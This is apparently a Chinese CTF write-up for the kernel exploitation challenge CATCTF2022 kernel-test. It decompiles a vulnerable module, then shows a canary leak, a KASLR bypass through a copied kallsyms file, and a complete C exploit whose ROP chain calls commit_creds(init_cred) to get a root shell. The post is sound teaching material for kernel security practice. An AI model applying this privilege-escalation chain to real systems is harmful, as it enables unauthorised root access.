kernelpwn练习题-其一

前言

该系列文章将会记录内核pwn从零到一的练习过程，本文章建议与CTF Wiki-kernel_ROP部分 搭配食用。

例题：[CATCTF2022] kernel-test

题目附件：https://z-l-s-f.lanzouq.com/io27D319gnad

附件密码：f389

远程容器：攻防世界

远程容器需要在pwn分页中搜索kernel-test可找到。

boot.sh:

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
qemu-system-x86_64 \
    -m 256M \
    -nographic \
    -kernel ./bzImage \
    -initrd  ./new.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
    -smp cores=2,threads=1 \
    -monitor /dev/null \
    -gdb tcp::9999

此处我们可以发现容器中将开启kaslr。

init：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
cat /proc/kallsyms > /tmp/kallsyms

chown 0:0 flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console


insmod ./HRPKO.ko # 挂载内核模块
chmod 777 /dev/test

echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh
#setsid /bin/cttyhack setuidgid 0 /bin/sh # 修改 uid gid 为 0 以提权 /bin/sh 至 root。
poweroff -f # 设置 shell 退出后则关闭机器

通过文件系统中的 init 我们发现操作系统会预先将 /proc/kallsyms 中的内容写入到 /tmp/kallsyms 中，这使得我们在普通用户权限下仍然可以查看到内核函数的运行地址，由此我们可以计算出内核基地址。

ida：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall HRP_module_read(__int64 a1, __int64 a2)
{
  __int64 v2; // rdx
  __int64 v3; // r12
  char v5[22]; // [rsp-60h] [rbp-60h] BYREF
  __int16 v6; // [rsp-4Ah] [rbp-4Ah]
  __int64 v7; // [rsp-48h] [rbp-48h]
  __int64 v8; // [rsp-40h] [rbp-40h]
  __int64 v9; // [rsp-38h] [rbp-38h]
  __int64 v10; // [rsp-30h] [rbp-30h]
  __int64 v11; // [rsp-28h] [rbp-28h]
  unsigned __int64 v12; // [rsp-20h] [rbp-20h]

  _fentry__(a1, a2);
  v3 = v2;
  v5[21] = 0;
  v6 = 0;
  v7 = 0LL;
  v12 = __readgsqword(0x28u);
  v8 = 0LL;
  v9 = 0LL;
  strcpy(v5, "welcome to my house\n");
  v10 = 0LL;
  v11 = 0LL;
  printk(&unk_375);
  copy_to_user(a2, &v5[v3], 64LL);
  return 114514LL;
}

HRP_module_read 函数会从内核栈中的 v5[rdx] 开始取64字节的内容放入我们的用户栈指针 a2 中，我们可以利用此处来获得内核中canary的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall HRP_module_write(__int64 a1, __int64 a2)
{
  unsigned __int64 v2; // rdx
  unsigned __int64 v3; // rbx

  _fentry__(a1, a2);
  v3 = v2;
  printk(&unk_384);
  if ( v3 > 0x300 )
  {
    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 768LL, v3);
    BUG();
  }
  _check_object_size(pwn, v3, 0LL);
  copy_from_user(pwn, a2, v3);
  return 114514LL;
}

HRP_module_write 会从用户栈 a2 读取并向向该程序的 data 段 pwn 写入最多0x300的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall HRP_module_ioctl(__int64 a1, __int64 a2)
{
  __int64 v2; // rbp
  _QWORD v4[4]; // [rsp-20h] [rbp-20h] BYREF

  _fentry__(a1, a2);
  v4[3] = v2;
  v4[2] = __readgsqword(0x28u);
  if ( (_DWORD)a2 )
  {
    printk(&unk_3C8);
    return -22LL;
  }
  else
  {
    printk(&unk_359);
    qmemcpy(v4, pwn, 0x100uLL);
    return 0LL;
  }
}

HRP_module_ioctl 函数会从 data 段 pwn 中读取最多0x100写入 v4 中，此处可造成内核栈溢出。

接下来我们可以开始编辑exp。

首先我们需要获得内核基地址：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#define COMMIT_CREDS 0xffffffff810ccc30

fp = fopen("/tmp/kallsyms", "r");
while(fscanf(fp, "%lx%s%s", &addr, type, buf))
{
	if(!strcmp(buf,"commit_creds"))
	{
		commit_creds = addr;
		printf("[*] Find commit_creds: 0x%lx\n", commit_creds);
		break;
	}
}

/*
	nm ./vmlinux | grep "commit_creds"         
	ffffffff810ccc30 T commit_creds
*/

kernel_offset = commit_creds - COMMIT_CREDS;
kernel_base += kernel_offset;
	
printf("[*] Find kernel_base: 0x%lx\n", kernel_base);
printf("[*] Find kernel_offset: 0x%lx\n",kernel_offset);

fclose(fp);

此处我们通过遍历 /tmp/kallsyms 找到 commit_creds 的运行地址与其在 vmlinux 中的静态地址相减即可得到内核基地址。

在获得内核基地址后我们可以开始着手获得内核栈上的canary：

1
2
3
4
5
fd = open("/dev/test", O_RDWR);

read(fd, buf, 64);
canary = ((size_t*)buf)[0];
printf("[+] Canary: 0x%lx\n", canary);

此处需要我们攻击的驱动的位置可以在 init 文件中查看

1
chmod 777 /dev/test

一般像这种特别设置成对所有人开放的文件，就是我们攻击的驱动入口。

我们通过 read 调用 HRP_module_read 来获得内核栈的canary，通过静态偏移计算我们可以得知 read 的 rdx 应该设置成0x40（rbp - 60h 到 rbp - 20h）。

然后我们可以开始构造并写入攻击用的ROP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#define POP_RDI 0xffffffff8108db10
#define IRETQ 0xffffffff8103b82b
#define SWAPGS_POP_RBP 0xffffffff8107a4d4
#define INIT_CRED 0xffffffff82a63880

i = 0;
rop = (size_t*)buf;
	
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = canary;
rop[i++] = 0;
rop[i++] = POP_RDI + kernel_offset;
rop[i++] = INIT_CRED + kernel_offset;
rop[i++] = commit_creds;
rop[i++] = SWAPGS_POP_RBP + kernel_offset;
rop[i++] = 0;
rop[i++] = IRETQ + kernel_offset;
rop[i++] = (size_t) get_root_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp + 8;
rop[i++] = user_ss;

write(fd, buf, 0x300);

这里我并不打算采用 commit_creds(prepare_kernel_cred(NULL)) 的方式来完成权限的提升，因为使用这种方法还需要再次将 rax 传入 rdi 中还要保证有 ret 。

所以我们直接 commit_creds(init_cred) 即可，init 是 linux 第一个启动的程序，我感觉是在 vmlinx 早就留有固定的位置，此时我们构造ROP会更简单。

最后通过 ioctl 实现栈溢出的复制和触发即可完成提权到 root 。

1
ioctl(fd, 0);

完整exp：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <kernelpwn.h>

#define COMMIT_CREDS 0xffffffff810ccc30
#define POP_RDI 0xffffffff8108db10
#define IRETQ 0xffffffff8103b82b
#define SWAPGS_POP_RBP 0xffffffff8107a4d4
#define INIT_CRED 0xffffffff82a63880

size_t commit_creds;

int main()
{
	int fd, i;
	FILE *fp;
	size_t addr, canary;
	size_t* rop;
	char buf[0x300], type[0x10];

	save_status();

	printf("[*] Exp Start...\n");
	
	fp = fopen("/tmp/kallsyms", "r");
	while(fscanf(fp, "%lx%s%s", &addr, type, buf))
	{
		if(!strcmp(buf,"commit_creds"))
		{
			commit_creds = addr;
			printf("[*] Find commit_creds: 0x%lx\n", commit_creds);
			break;
		}
	}
	
	kernel_offset = commit_creds - COMMIT_CREDS;
	kernel_base += kernel_offset;

	printf("[*] Find kernel_base: 0x%lx\n", kernel_base);
	printf("[*] Find kernel_offset: 0x%lx\n",kernel_offset);

	fclose(fp);

	fd = open("/dev/test", O_RDWR);

	read(fd, buf, 64);
	canary = ((size_t*)buf)[0];
	printf("[+] Canary: 0x%lx\n", canary);

	i = 0;
	rop = (size_t*)buf;
	
	rop[i++] = 0;
	rop[i++] = 0;
	rop[i++] = canary;
	rop[i++] = 0;
	rop[i++] = POP_RDI + kernel_offset;
	rop[i++] = INIT_CRED + kernel_offset;
	rop[i++] = commit_creds;
	rop[i++] = SWAPGS_POP_RBP + kernel_offset;
	rop[i++] = 0;
	rop[i++] = IRETQ + kernel_offset;
	rop[i++] = (size_t) get_root_shell;
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp + 8;
	rop[i++] = user_ss;
	
	write(fd, buf, 0x300);	
	
	ioctl(fd, 0);

	return 0;
}

扩展（来自arttnba3大佬的kernelpwn中常用的头文件和函数以及一些变量）：

下载 kernelpwn.h

kernelpwn练习题-其一
https://zlsf-zl.github.io/2025/07/17/kernelpwn练习题-其一/
作者
ZLSF
发布于
2025年7月17日
许可协议